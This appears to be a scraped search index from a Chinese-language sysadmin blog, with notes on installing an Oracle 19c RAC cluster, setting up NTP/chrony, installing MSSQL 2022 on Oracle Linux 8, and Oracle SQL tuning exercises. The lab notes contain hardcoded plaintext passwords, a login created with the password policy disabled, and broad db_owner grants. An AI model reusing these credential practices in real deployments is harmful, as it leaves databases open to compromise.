ONLINE db141 STABLE ora.OCRDG.dg(ora.asmgroup) 1 ONLINE ONLINE db141 STABLE 2 ONLINE ONLINE db142 STABLE ora.asm(ora.asmgroup) 1 ONLINE ONLINE db141 Started,STABLE 2 ONLINE ONLINE db142 Started,STABLE ora.asmnet1.asmnetwork(ora.asmgroup) 1 ONLINE ONLINE db141 STABLE 2 ONLINE ONLINE db142 STABLE ora.cvu 1 ONLINE ONLINE db141 STABLE ora.db141.vip 1 ONLINE ONLINE db141 STABLE ora.db142.vip 1 ONLINE ONLINE db142 STABLE ora.qosmserver 1 ONLINE ONLINE db141 STABLE ora.scan1.vip 1 ONLINE ONLINE db142 STABLE ora.scan2.vip 1 ONLINE ONLINE db141 STABLE ora.scan3.vip 1 ONLINE ONLINE db141 STABLE ora.scan4.vip 1 ONLINE ONLINE db141 STABLE ora.scan5.vip 1 ONLINE ONLINE db141 STABLE ora.scan6.vip 1 ONLINE ONLINE db141 STABLE -------------------------------------------------------------------------------- 安裝資料庫 # db141,db142\n1 2 3 export ORACLE_HOME=\u0026#34;/u01/app/oracle/product/19/db\u0026#34; mkdir -p ${ORACLE_HOME} chown -R oracle: /u01/app/oracle 1 2 unzip -q /mnt/nfs/software/DB/Oracle/patches/p38632161_190000_Linux-x86-64.zip -d /u01/patch chown -R oracle: /u01/patch/38632161 1 2 3 4 5 su - oracle unzip -q /mnt/nfs/software/DB/Oracle/LINUX.X64_193000_db_home.zip -d ${ORACLE_HOME} rm -rf $ORACLE_HOME/OPatch unzip -q /mnt/nfs/software/DB/Oracle/patches/p6880880_190000_Linux-x86-64.zip -d $ORACLE_HOME $ORACLE_HOME/OPatch/opatch version 1 2 3 4 5 6 7 [oracle@db141 ~]$ unzip -q /mnt/nfs/software/DB/Oracle/LINUX.X64_193000_db_home.zip -d ${ORACLE_HOME} [oracle@db141 ~]$ rm -rf $ORACLE_HOME/OPatch [oracle@db141 ~]$ unzip -q /mnt/nfs/software/DB/Oracle/patches/p6880880_190000_Linux-x86-64-12.2.0.1.49.zip -d $ORACLE_HOME [oracle@db141 ~]$ $ORACLE_HOME/OPatch/opatch version OPatch Version: 12.2.0.1.49 OPatch succeeded. 1 $ORACLE_HOME/oui/prov/resources/scripts/sshUserSetup.sh -user oracle -hosts \u0026#34;db141 db142\u0026#34; -advanced -noPromptPassphrase ${ORACLE_HOME}/install/response/db_install_INSTALL_DB_SWONLY.rsp db_install_INSTALL_DB_SWONLY.rsp\n1 2 3 cd $ORACLE_HOME export CV_ASSUME_DISTID=OL8 ./runInstaller -waitforcompletion -applyRU /u01/patch/38632161 -silent -responseFile ${ORACLE_HOME}/install/response/db_install_INSTALL_DB_SWONLY.rsp runInstaller\n建立資料庫 # 1 2 su - grid asmca -silent -createDiskGroup -diskGroupName DATA -disk \u0026#39;/dev/oracleasm-ocr/db145-data-01\u0026#39; -disk \u0026#39;/dev/oracleasm-ocr/db145-data-02\u0026#39; -redundancy NORMAL -au_size 4 $ORACLE_HOME/assistants/dbca/dbca_db.rsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 responseFileVersion=/oracle/assistants/rspfmt_dbca_response_schema_v19.0.0 gdbName=db templateName=General_Purpose.dbc sysPassword=P@ssw0rd systemPassword=P@ssw0rd characterSet=AL32UTF8 storageType=ASM diskGroupName=+DATA databaseConfigType=RAC nodelist=db141,db142 `` ```bash su - oracle export CV_ASSUME_DISTID=OL8 dbca -silent -createDatabase -responseFile $ORACLE_HOME/assistants/dbca/dbca_db.rsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [oracle@db141 ~]$ dbca -silent -createDatabase -responseFile $ORACLE_HOME/assistants/dbca/dbca_db.rsp Prepare for db operation 8% complete Copying database files 33% complete Creating and starting Oracle instance 34% complete 35% complete 39% complete 42% complete 45% complete 50% complete Creating cluster database views 52% complete 67% complete Completing Database Creation 71% complete 73% complete 75% complete Executing Post Configuration Actions 100% complete Database creation complete. For details check the logfiles at: /u01/app/oracle/cfgtoollogs/dbca/db. Database Information: Global Database Name:db System Identifier(SID) Prefix:db Look at the log file \u0026#34;/u01/app/oracle/cfgtoollogs/dbca/db/db6.log\u0026#34; for further details. 參考資料 # Installing DNS Server on CentOS/RHEL using dnsmasq | Zimbra Configure CentOS 7 Network Settings CentOS 7 安裝 NTP (Network Time Protocol) – 建立內部校時伺服器 Step By Step Guide To Install Oracle 19c RAC installation Using VirtualBox Supported Red Hat Enterprise Linux 9 Distributions for x86-64 记一生产环境(RHEL7.9)静默模式Oracle 19c RAC集群和数据库软件安装分享 (KB741614)Step by step Installation of Oracle grid infrastructure and Oracle RAC database 19c with Latest RU ","date":"February 22, 2026","externalUrl":null,"permalink":"/oracle-database/deploy-oracle19c-rac-on-rhel9/","section":"Oracle-Databases","summary":"準備檔案 # Oracle Database 19.3.0.0.0 for Linux x86-64 File Name: LINUX.X64_193000_db_home.zip (2.8 GB) sha256sum: ba8329c757133da313ed3b6d7f86c5ac42cd9970a28bf2e6233f3235233aa8d8 Oracle Database Grid Infrastructure 19.3.0.0.0 for Linux x86-64 File Name: V982068-01.zip (2.7 GB) sha256sum: d668002664d9399cf61eb03c0d1e3687121fc890b1ddd50b35dcbe13c5307d2e OPatch 12.2.0.1.49 (Patch 6880880: OPatch 12.2.0.1.49 for DB 19.0.0.0.0 (Jan 2026)) File Name: p6880880_190000_Linux-x86-64.zip sha256sum: 79181853ce156252719dc2ace2327f9388a694c33312c2da1eac2ffdacb0dcf7 GI RELEASE UPDATE 19.30.0.0.0(REL-JAN260130)(Patch:Linux x86-64) File Name: p38629535_190000_Linux-x86-64.zip (3.8 GB) sha256sum: ce2eb4ea9b973e788ceb6f2bd4c8365999e2a26521c14e4267eea727c7c22d73 DATABASE RELEASE UPDATE 19.30.0.0.0(REL-JAN260130)(Patch:Linux x86-64) File Name: p38632161_190000_Linux-x86-64.zip (2.1 GB) sha256sum: 74bb470a435de8eb129cd94d65aa7052f4998671053c29efb60dbf510b83a8f5 KVM # 預先設定 KVM VM 的 MAC Address 1 printf '52:54:00:%02x:%02x:%02x\\n' $((RANDOM%256)) $((RANDOM%256)) $((RANDOM%256)) 環境資訊 # 硬體資訊 # 第一個版本(notebook version): 這是我的筆記型電腦 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ❯ screenfetch _,met$$$$$gg. pollochang@pollo-nb-5310 ,g$$$$$$$$$$$$$$$P. OS: Debian 13 trixie ,g$$P\"\" \"\"\"Y$$.\". Kernel: x86_64 Linux 6.12.63+deb13-amd64 ,$$P' `$$$. Uptime: 1d 7h 34m ',$$P ,ggs. `$$b: Packages: 2925 `d$$' ,$P\"' . $$$ Shell: zsh 5.9 $$P d$' , $$P Resolution: 2970x1680 $$: $$. - ,d$$' DE: GNOME 48.4 $$\\; Y$b._ _,d$P' WM: Mutter Y$$. `.`\"Y$$$$P\"' WM Theme: `$$b \"-.__ GTK Theme: Adwaita [GTK2/3] `Y$$ Icon Theme: Adwaita `Y$$. Font: Cantarell 11 `$$b. Disk: 604G / 1.9T (35%) `Y$$b. CPU: Intel Core i5-10310U @ 8x 4.4GHz [71.0°C] `\"Y$b._ GPU: UHD Graphics `\"\"\"\" RAM: 27513MiB / 63996MiB 第二個版本(lab version): 這是我的實驗室主機 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@kvm-004 ~]# df -h /dev/nvme1n1 954G 107G 847G 12% /vm-disk-02 /dev/nvme0n1 932G 150G 782G 17% /vm-disk-01 /dev/sdb2 1014M 351M 664M 35% /boot /dev/sdb1 1022M 6.0M 1017M 1% /boot/efi /dev/sdd1 1.9T 14G 1.9T 1% /nas-disk-01 /dev/sdc1 932G 52G 880G 6% /vm-disk-03 [root@kvm-004 ~]# lsblk -d -o NAME,MODEL,ROTA,SIZE NAME MODEL ROTA SIZE sdb Samsung SSD 870 0 465.8G sdc WDC WD10TPVT-00U 1 931.5G sdd WDC WD20EZAZ-00G 1 1.8T nvme1n1 ADATA SX8200PNP 0 953.9G nvme0n1 CT1000P3PSSD8 0 931.5G VM Host # notebook version # VM Planform: KVM Share Disk Oracle database: /var/lib/libvirt/images/db145-data-01.raw /var/lib/libvirt/images/db145-data-02.raw Oracle grid: /var/lib/libvirt/images/db145-OCR-01.raw /var/lib/libvirt/images/db145-OCR-02.raw /var/lib/libvirt/images/db145-OCR-03.raw lab version # VM Planform: Oracle KVM Share Disk Oracle database:(data 寫在兩顆硬碟) /vm-disk-01/db155-data-01.raw /vm-disk-02/db155-data-02.raw Oracle grid: /vm-disk-03/db155-OCR-01.raw /vm-disk-03/db155-OCR-02.raw /vm-disk-03/db155-OCR-03.raw 資料庫系統 # notebook version # OS Version: Redhat Linux 9.7 (Minimal Linux Installation) CPU: 8 vCore RAM: 16G Disk: swap: 16G /boot: 1G /u01: 20G Database Info Database version: Oracle Database 19.30.0.0.0 for Linux x86-64 domain db145.pollo.local scan IP: 192.168.122.145 192.168.122.146 192.168.122.147 common-server hostname: common-server-005.pollo.local IP: 192.168.122.5 Service DNS Server NTP Server NFS server: 這邊我是為了節省點腦的硬碟空間 database host 1 hostname: db141.pollo.local ORCLE_SID: db1 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 192.168.122.141 MAC: 52:54:00:b5:8b:7a Virtual IP: 192.168.122.143 , db141-vip.pollo.local Private IP: 192.168.55.141 , db141-priv.pollo.local CPU: 8vCore RAM: 16G SWAP: 16G database host2 hostname: db142.pollo.local ORCLE_SID: db2 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 192.168.122.142 MAC: 52:54:00:19:ae:b2 Virtual IP: 192.168.122.144 , db142-vip.pollo.local Private IP: 192.168.55.142 , db142-priv.pollo.local CPU: 8vCore RAM: 16G SWAP: 16G Disk Groups database DATA-01: 20G DATA-02: 20G grid (asm disk) OCR-01: 5 G OCR-02: 5 G OCR-03: 5 G lab version # OS Version: Redhat Linux 9.7 (Minimal Linux Installation) CPU: 8 vCore RAM: 16G Disk: swap: 16G /boot: 1G /u01: 20G Database Info Database version: Oracle Database 19.30.0.0.0 for Linux x86-64 domain db155.home.pollochang.work scan IP: 172.30.1.155 172.30.1.156 172.30.1.157 database host 1 hostname: db151.home.pollochang.work ORCLE_SID: db151 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 172.30.1.151 NIC: MAC: Virtual IP: 172.30.1.153 , db151-vip.home.pollochang.work Private IP: 10.192.0.151 , db151-priv.pollochang.work MAC: CPU: 8vCore RAM: 16G SWAP: 16G database host2 hostname: db152.home.pollochang.work ORCLE_SID: db2 (這個有區分大小寫) ORACLE_HOME: /u01/app/oracle/product/19/db Pulic IP: 172.30.1.152 NIC: MAC: Virtual IP: 172.30.1.154 , db152-vip.home.pollochang.work Private IP: 10.192.0.152 , db152-priv.home.pollochang.work NIC: MAC: CPU: 8vCore RAM: 16G SWAP: 16G Disk Groups database DATA-01: 50G DATA-02: 50G grid (asm disk) OCR-01: 5 G OCR-02: 5 G OCR-03: 5 G 規劃 ASM # 既然您正在安裝 RAC，而不是單節點的 Standalone Cluster，您只有兩個主要的選項：\n","title":"deploy Oracle19c RAC on RHEL9","type":"oracle-database"},{"content":"","date":"February 22, 2026","externalUrl":null,"permalink":"/tags/rac/","section":"Tags","summary":"","title":"RAC","type":"tags"},{"content":" 部屬 NTP Server # Oracle Linux 7 # 安裝 ntp 服務 1 yum install ntp /etc/ntp.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 先拒絕IPv4 \u0026amp; IPv6的用戶存取服務 restrict default kod nomodify notrap nopeer noquery restrict -6 default kod nomodify notrap nopeer noquery # 設定需要的時間伺服器進入 restrict 118.163.81.61 restrict 118.163.81.63 restrict 211.22.103.157 # 允許本機與相關網段 restrict 127.0.0.1 restrict ::1 restrict 192.168.56.0 mask 255.255.255.0 nomodify # 設定校時用的Server，perfer為最優先 server 118.163.81.61 prefer server 118.163.81.63 server 211.22.103.157 1 2 systemctl enable --now ntpd firewall-cmd --add-port=123/udp --permanent \u0026amp;\u0026amp; systemctl restart firewalld 檢查有設定成功 1 ntpq -p 以下為檢查結果\n1 2 3 4 5 6 [root@common-server ~]# ntpq -p remote refid st t when poll reach delay offset jitter ============================================================================== *118-163-81-61.h 133.243.238.243 2 u 36 64 17 6.196 21.164 3.700 118-163-81-63.h .FREQ. 1 u 31 64 17 5.608 6.353 3.006 211-22-103-157. 133.243.238.163 2 u 31 64 17 6.611 16.182 1.64 Oracle Linux 8 # 1 sudo yum install chrony -y /etc/chrony.conf 1 2 3 4 5 # 編輯設定檔 sudo vi /etc/chrony.conf # 找到並加入以下行（例如允許 192.168.1.0/24 網段） allow 192.168.1.0/24 1 sudo systemctl enable --now chronyd 1 chronyc sources 1 2 3 # 開啟防火牆 UDP 123 埠並重新載入 sudo firewall-cmd --add-port=123/udp --permanent sudo firewall-cmd --reload 1 2 # 檢查連線到此伺服器的客戶端 chronyc clients ","date":"February 9, 2026","externalUrl":null,"permalink":"/worknot/ntp-server/","section":"Worknots","summary":"部屬 NTP Server # Oracle Linux 7 # 安裝 ntp 服務 1 yum install ntp /etc/ntp.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 先拒絕IPv4 \u0026 IPv6的用戶存取服務 restrict default kod nomodify notrap nopeer noquery restrict -6 default kod nomodify notrap nopeer noquery # 設定需要的時間伺服器進入 restrict 118.163.81.61 restrict 118.163.81.63 restrict 211.22.103.157 # 允許本機與相關網段 restrict 127.0.0.1 restrict ::1 restrict 192.168.56.0 mask 255.255.255.0 nomodify # 設定校時用的Server，perfer為最優先 server 118.163.81.61 prefer server 118.163.81.63 server 211.22.103.157 1 2 systemctl enable --now ntpd firewall-cmd --add-port=123/udp --permanent \u0026\u0026 systemctl restart firewalld 檢查有設定成功 1 ntpq -p 以下為檢查結果\n","title":"ntp-server","type":"worknot"},{"content":"","date":"February 5, 2026","externalUrl":null,"permalink":"/categories/db/","section":"Categories","summary":"","title":"DB","type":"categories"},{"content":"","date":"February 5, 2026","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"MSSQL","type":"tags"},{"content":" system requirement # OS: Oracle Linux 8 RAM: 4G Disk Minimum free disk space: 6 GB File system: XFS or EXT4 安裝 # 安裝 python2\n1 2 3 4 5 sudo alternatives --config python # If not configured, install python2 and openssl10 using the following commands: sudo yum install -y python2 compat-openssl10 # Configure python2 as the default interpreter using this command: sudo alternatives --config python 1 2 3 4 5 6 7 8 9 10 [root@mssql-server-2022 ~]# sudo alternatives --config python There are 2 programs which provide \u0026#39;python\u0026#39;. Selection Command ----------------------------------------------- *+ 1 /usr/libexec/no-python 2 /usr/bin/python2 Enter to keep the current selection[+], or type selection number: 2 下載 mssql-server-2022 repo\n1 2 sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/8/mssql-server-2022.repo sudo yum install -y mssql-server 最佳化 # /usr/lib/tuned/mssql/tuned.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [main] summary=Optimize for Microsoft SQL Server include=throughput-performance [cpu] force_latency=5 [sysctl] vm.swappiness = 1 vm.dirty_background_ratio = 3 vm.dirty_ratio = 80 vm.dirty_expire_centisecs = 500 vm.dirty_writeback_centisecs = 100 vm.transparent_hugepages=always # For multi-instance SQL deployments, use # vm.transparent_hugepages=madvise vm.max_map_count=1600000 net.core.rmem_default = 262144 net.core.rmem_max = 4194304 net.core.wmem_default = 262144 net.core.wmem_max = 1048576 kernel.numa_balancing=0 kernel.sched_latency_ns = 60000000 kernel.sched_migration_cost_ns = 500000 kernel.sched_min_granularity_ns = 15000000 kernel.sched_wakeup_granularity_ns = 2000000 啟動 tuned\n1 sudo tuned-adm profile mssql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [root@db141-mssql2022 ~]# tuned-adm list Available profiles: - accelerator-performance - Throughput performance based tuning with disabled higher latency STOP states - aws - Optimize for aws ec2 instances - balanced - General non-specialized tuned profile - desktop - Optimize for the desktop use-case - epyc-eda - Optimize for EDA compute workloads on AMD EPYC CPUs - hpc-compute - Optimize for HPC compute workloads - intel-sst - Configure for Intel Speed Select Base Frequency - latency-performance - Optimize for deterministic performance at the cost of increased power consumption - mssql - Optimize for Microsoft SQL Server - network-latency - Optimize for deterministic performance at the cost of increased power consumption, focused on low latency network performance - network-throughput - Optimize for streaming network throughput, generally only necessary on older CPUs or 40G+ networks - optimize-serial-console - Optimize for serial console use. - powersave - Optimize for low power consumption - throughput-performance - Broadly applicable tuning that provides excellent performance across a variety of common server workloads - virtual-guest - Optimize for running inside a virtual guest - virtual-host - Optimize for running KVM guests Current active profile: virtual-guest [root@db141-mssql2022 ~]# sudo tuned-adm profile mssql Kernel settings for virtual address space 1 sysctl -w vm.max_map_count=1600000 Leave Transparent Huge Pages (THP) enabled 1 echo madvise \u0026gt; /sys/kernel/mm/transparent_hugepage/enabled 1 2 3 4 [root@db141-mssql2022 ~]# tuned-adm off [root@db141-mssql2022 ~]# tuned-adm profile mssql [root@db141-mssql2022 ~]# tuned-adm active Current active profile: mssql 網卡設定 # 實體機 Set both the rx (receive) and tx (transmit) buffer size to 4 KB:\n1 2 3 [root@db141-mssql2022 ~]# ethtool -g enp1s0 [root@db141-mssql2022 ~]# ethtool -G enp1s0 rx 4096 tx 4096 netlink error: Operation not supported 虛擬機 1 2 3 4 5 6 7 \u0026lt;interface type=\u0026#39;bridge\u0026#39;\u0026gt; \u0026lt;mac address=\u0026#39;52:54:00:6b:54:f7\u0026#39;/\u0026gt; \u0026lt;source bridge=\u0026#39;public\u0026#39;/\u0026gt; \u0026lt;model type=\u0026#39;virtio\u0026#39;/\u0026gt; \u0026lt;driver name=\u0026#39;vhost\u0026#39; rx_queue_size=\u0026#39;4096\u0026#39; tx_queue_size=\u0026#39;4096\u0026#39; queues=\u0026#39;4\u0026#39;/\u0026gt; \u0026lt;address type=\u0026#39;pci\u0026#39; domain=\u0026#39;0x0000\u0026#39; bus=\u0026#39;0x01\u0026#39; slot=\u0026#39;0x00\u0026#39; function=\u0026#39;0x0\u0026#39;/\u0026gt; \u0026lt;/interface\u0026gt; queues = VM CPU Core\n設定資料庫 # 1 sudo /opt/mssql/bin/mssql-conf setup 1 2 sudo firewall-cmd --zone=public --add-port=1433/tcp --permanent sudo firewall-cmd --reload 1 Fd831554@1234 安裝 CLI 工具\n1 2 curl https://packages.microsoft.com/config/rhel/8/prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo sudo yum install -y mssql-tools18 unixODBC-devel 1 su - mssql 1 2 echo \u0026#39;export PATH=\u0026#34;$PATH:/opt/mssql-tools18/bin\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bash_profile source ~/.bash_profile 1 sqlcmd -C -S localhost -U sa 建立新資料庫 # 1 2 3 4 CREATE DATABASE db1; GO SELECT Name FROM sys.databases; GO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 USE db1; GO; CREATE TABLE dbo.Inventory ( id INT, name NVARCHAR (50), quantity INT, PRIMARY KEY (id) ); INSERT INTO dbo.Inventory VALUES (1, \u0026#39;banana\u0026#39;, 150); INSERT INTO dbo.Inventory VALUES (2, \u0026#39;orange\u0026#39;, 154); GO; 建立使用者 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -- 建立伺服器登入 CREATE LOGIN pollochang WITH PASSWORD = \u0026#39;P@ssw0rd\u0026#39;, CHECK_POLICY = OFF; GO SELECT name, type_desc FROM sys.server_principals WHERE name = \u0026#39;pollochang\u0026#39;; -- 可省略，預設資料庫設定 ALTER LOGIN pollochang WITH DEFAULT_DATABASE = db1; GO -- 在 db1 資料庫裡，為伺服器登入 pollochang 建立對應的資料庫使用者 pollochang CREATE USER pollochang FOR LOGIN pollochang; GO -- 分配基本權限 EXEC sp_addrolemember \u0026#39;db_datareader\u0026#39;, \u0026#39;pollochang\u0026#39;; -- 可讀取數據 EXEC sp_addrolemember \u0026#39;db_datawriter\u0026#39;, \u0026#39;pollochang\u0026#39;; -- 可寫入數據 EXEC sp_addrolemember \u0026#39;db_owner\u0026#39;, \u0026#39;pollochang\u0026#39;; -- 完全控制數據庫 1 2 3 4 5 6 USE db1; go CREATE USER db1user FOR LOGIN pollochang; GO EXEC sp_addrolemember \u0026#39;db_owner\u0026#39;, \u0026#39;pollochang\u0026#39;; GO 參考資料 # MS SQL Server on Linux\nSQL Server On Linux Installation and Configuration\n快速入門：在 Ubuntu 上安裝 SQL Server 並建立資料庫\n","date":"February 5, 2026","externalUrl":null,"permalink":"/worknot/install-mssql2022-on-ol8/","section":"Worknots","summary":"system requirement # OS: Oracle Linux 8 RAM: 4G Disk Minimum free disk space: 6 GB File system: XFS or EXT4 安裝 # 安裝 python2\n","title":"在 Linux 安裝 MSSQL 2022","type":"worknot"},{"content":"以**「電商物流系統」**為主題。這個場景包含了高頻交易、大量文字描述以及複雜的關聯。\n以下是針對 Oracle 11g 環境設計的實作腳本。\n第一步：設計與建立資料表 (DDL) # 我們設計五張表：客戶 (CUSTOMERS)、商品 (PRODUCTS)、訂單主檔 (ORDERS)、訂單明細 (ORDER_ITEMS)、以及物流追蹤備註 (LOGISTICS_DETAIL)。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 -- 1. 客戶表 CREATE TABLE CUSTOMERS ( CUST_ID NUMBER PRIMARY KEY, CUST_NAME VARCHAR2(100), CITY VARCHAR2(20), MEMBER_LEVEL NUMBER(1), -- 1-5 級 REMARK CLOB ); -- 2. 商品表 CREATE TABLE PRODUCTS ( PROD_ID NUMBER PRIMARY KEY, PROD_NAME VARCHAR2(200), CATEGORY VARCHAR2(50), PRICE NUMBER(10,2), STATUS CHAR(1) -- \u0026#39;Y\u0026#39;: 上架, \u0026#39;N\u0026#39;: 下架 ); -- 3. 訂單主檔 CREATE TABLE ORDERS ( ORDER_ID NUMBER PRIMARY KEY, CUST_ID NUMBER, ORDER_DATE DATE, TOTAL_AMOUNT NUMBER(12,2), PAYMENT_METHOD VARCHAR2(20) ); -- 4. 訂單明細 (大表) CREATE TABLE ORDER_ITEMS ( ITEM_ID NUMBER PRIMARY KEY, ORDER_ID NUMBER, PROD_ID NUMBER, QUANTITY NUMBER(5), UNIT_PRICE NUMBER(10,2) ); -- 5. 物流詳細追蹤 (含有大量文字與狀態) CREATE TABLE LOGISTICS_DETAIL ( LOG_ID NUMBER PRIMARY KEY, ORDER_ID NUMBER, TRACKING_NUM VARCHAR2(50), UPDATE_TIME TIMESTAMP, STATION_INFO VARCHAR2(500), FULL_LOG CLOB ); 第二步：產生 10 萬筆測試資料 (DML) # 我們利用 CONNECT BY 與 dbms_random 快速生成模擬資料。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 -- 插入商品 (10萬筆) INSERT /*+ APPEND */ INTO PRODUCTS SELECT LEVEL, \u0026#39;Product_\u0026#39; || LEVEL, CASE MOD(LEVEL, 5) WHEN 0 THEN \u0026#39;Electronics\u0026#39; WHEN 1 THEN \u0026#39;Books\u0026#39; WHEN 2 THEN \u0026#39;Clothing\u0026#39; WHEN 3 THEN \u0026#39;Home\u0026#39; ELSE \u0026#39;Food\u0026#39; END, DBMS_RANDOM.VALUE(10, 5000), \u0026#39;Y\u0026#39; FROM DUAL CONNECT BY LEVEL \u0026lt;= 100000; -- 插入客戶 (10萬筆) INSERT /*+ APPEND */ INTO CUSTOMERS SELECT LEVEL, \u0026#39;User_\u0026#39; || LEVEL, CASE MOD(LEVEL, 4) WHEN 0 THEN \u0026#39;Taipei\u0026#39; WHEN 1 THEN \u0026#39;Taichung\u0026#39; WHEN 2 THEN \u0026#39;Kaohsiung\u0026#39; ELSE \u0026#39;Tainan\u0026#39; END, MOD(LEVEL, 5) + 1, \u0026#39;Customer preference notes for ID \u0026#39; || LEVEL FROM DUAL CONNECT BY LEVEL \u0026lt;= 100000; -- 插入訂單主檔 (10萬筆) INSERT /*+ APPEND */ INTO ORDERS SELECT LEVEL, TRUNC(DBMS_RANDOM.VALUE(1, 100000)), TO_DATE(\u0026#39;2023-01-01\u0026#39;,\u0026#39;YYYY-MM-DD\u0026#39;) + DBMS_RANDOM.VALUE(0, 365), 0, -- 後續更新 CASE MOD(LEVEL, 3) WHEN 0 THEN \u0026#39;Credit Card\u0026#39; WHEN 1 THEN \u0026#39;Transfer\u0026#39; ELSE \u0026#39;Cash\u0026#39; END FROM DUAL CONNECT BY LEVEL \u0026lt;= 100000; -- 插入訂單明細 (10萬筆，讓每筆訂單至少對應一個商品) INSERT /*+ APPEND */ INTO ORDER_ITEMS SELECT LEVEL, LEVEL, -- 這裡簡化為 1:1，你可以自行調整為 1:N TRUNC(DBMS_RANDOM.VALUE(1, 100000)), TRUNC(DBMS_RANDOM.VALUE(1, 10)), 0 FROM DUAL CONNECT BY LEVEL \u0026lt;= 100000; -- 插入物流明細 (10萬筆) INSERT /*+ APPEND */ INTO LOGISTICS_DETAIL SELECT LEVEL, LEVEL, \u0026#39;TRK\u0026#39; || LPAD(LEVEL, 10, \u0026#39;0\u0026#39;), SYSTIMESTAMP - DBMS_RANDOM.VALUE(0, 10), \u0026#39;Arrived at station \u0026#39; || MOD(LEVEL, 50), RPAD(\u0026#39;Detailed log for shipment \u0026#39; || LEVEL, 1000, \u0026#39;*\u0026#39;) FROM DUAL CONNECT BY LEVEL \u0026lt;= 100000; COMMIT; -- 收集統計資訊 (Oracle 調校必備) EXEC DBMS_STATS.GATHER_SCHEMA_STATS(USER); 第三步：10 組不同難度的 SQL 練習 # 這裡提供從簡單到「效能殺手級」的 SQL，你可以嘗試查看執行計畫 (Explain Plan) 並建立索引或改寫 SQL 來優化。\n1. 簡單：精確匹配與排序 # 需求： 找出所有住在「Taipei」且會員等級為 5 的客戶名稱。\n1 SELECT CUST_NAME FROM CUSTOMERS WHERE CITY = \u0026#39;Taipei\u0026#39; AND MEMBER_LEVEL = 5; 2. 中等：基本 Join 與 聚合 # 需求： 計算每個分類 (Category) 的商品平均價格，且只顯示平均價大於 1000 的分類。\n1 SELECT CATEGORY, AVG(PRICE) FROM PRODUCTS GROUP BY CATEGORY HAVING AVG(PRICE) \u0026gt; 1000; 3. 中等：三表關聯 # 需求： 查詢客戶 ID 為 5000 的所有訂單日期及其購買的商品名稱。\n1 2 3 4 5 SELECT o.ORDER_DATE, p.PROD_NAME FROM ORDERS o JOIN ORDER_ITEMS i ON o.ORDER_ID = i.ORDER_ID JOIN PRODUCTS p ON i.PROD_ID = p.PROD_ID WHERE o.CUST_ID = 5000; 4. 進階：子查詢與 IN (潛在效能問題) # 需求： 找出所有購買過「Electronics」類別商品的客戶清單。\n1 2 3 4 5 6 SELECT * FROM CUSTOMERS WHERE CUST_ID IN ( SELECT o.CUST_ID FROM ORDERS o JOIN ORDER_ITEMS i ON o.ORDER_ID = i.ORDER_ID WHERE i.PROD_ID IN (SELECT PROD_ID FROM PRODUCTS WHERE CATEGORY = \u0026#39;Electronics\u0026#39;) ); 5. 進階：Exists 替代 Join # 需求： 找出有物流更新記錄，且物流訊息包含 \u0026lsquo;station 10\u0026rsquo; 的訂單主檔。\n1 2 3 4 5 SELECT * FROM ORDERS o WHERE EXISTS ( SELECT 1 FROM LOGISTICS_DETAIL l WHERE l.ORDER_ID = o.ORDER_ID AND l.STATION_INFO LIKE \u0026#39;%station 10%\u0026#39; ); 6. 複雜：分析函數 (Window Functions) # 需求： 找出每個城市中，消費金額最高的前三名客戶 (不建立實體表，動態計算)。\n1 2 3 4 5 6 7 SELECT * FROM ( SELECT c.CUST_NAME, c.CITY, SUM(o.TOTAL_AMOUNT) as spent, RANK() OVER (PARTITION BY c.CITY ORDER BY SUM(o.TOTAL_AMOUNT) DESC) as rnk FROM CUSTOMERS c JOIN ORDERS o ON c.CUST_ID = o.CUST_ID GROUP BY c.CUST_NAME, c.CITY ) WHERE rnk \u0026lt;= 3; 7. 複雜：CLOB 文字檢索與過濾 # 需求： 在物流日誌 (CLOB) 中搜尋特定關鍵字，並結合大表關聯。這通常會導致全表掃描。\n1 2 3 4 SELECT o.ORDER_ID, l.TRACKING_NUM FROM ORDERS o JOIN LOGISTICS_DETAIL l ON o.ORDER_ID = l.ORDER_ID WHERE DBMS_LOB.INSTR(l.FULL_LOG, \u0026#39;shipment 99999\u0026#39;) \u0026gt; 0; 8. 超級複雜：WITH 子句與多重聚合 (CTE) # 需求： 找出「高價值客戶」：定義為總消費額高於該城市平均消費額的客戶，並列出他們最常購買的商品類別。\n1 2 3 4 5 6 7 8 9 10 11 12 13 WITH CityAvg AS ( SELECT c.CITY, AVG(o.TOTAL_AMOUNT) as city_avg_spent FROM CUSTOMERS c JOIN ORDERS o ON c.CUST_ID = o.CUST_ID GROUP BY c.CITY ) SELECT c.CUST_NAME, p.CATEGORY, COUNT(*) FROM CUSTOMERS c JOIN ORDERS o ON c.CUST_ID = o.CUST_ID JOIN ORDER_ITEMS i ON o.ORDER_ID = i.ORDER_ID JOIN PRODUCTS p ON i.PROD_ID = p.PROD_ID JOIN CityAvg ca ON c.CITY = ca.CITY GROUP BY c.CUST_NAME, p.CATEGORY, ca.city_avg_spent HAVING SUM(o.TOTAL_AMOUNT) \u0026gt; ca.city_avg_spent; 9. 超級複雜：關聯子查詢 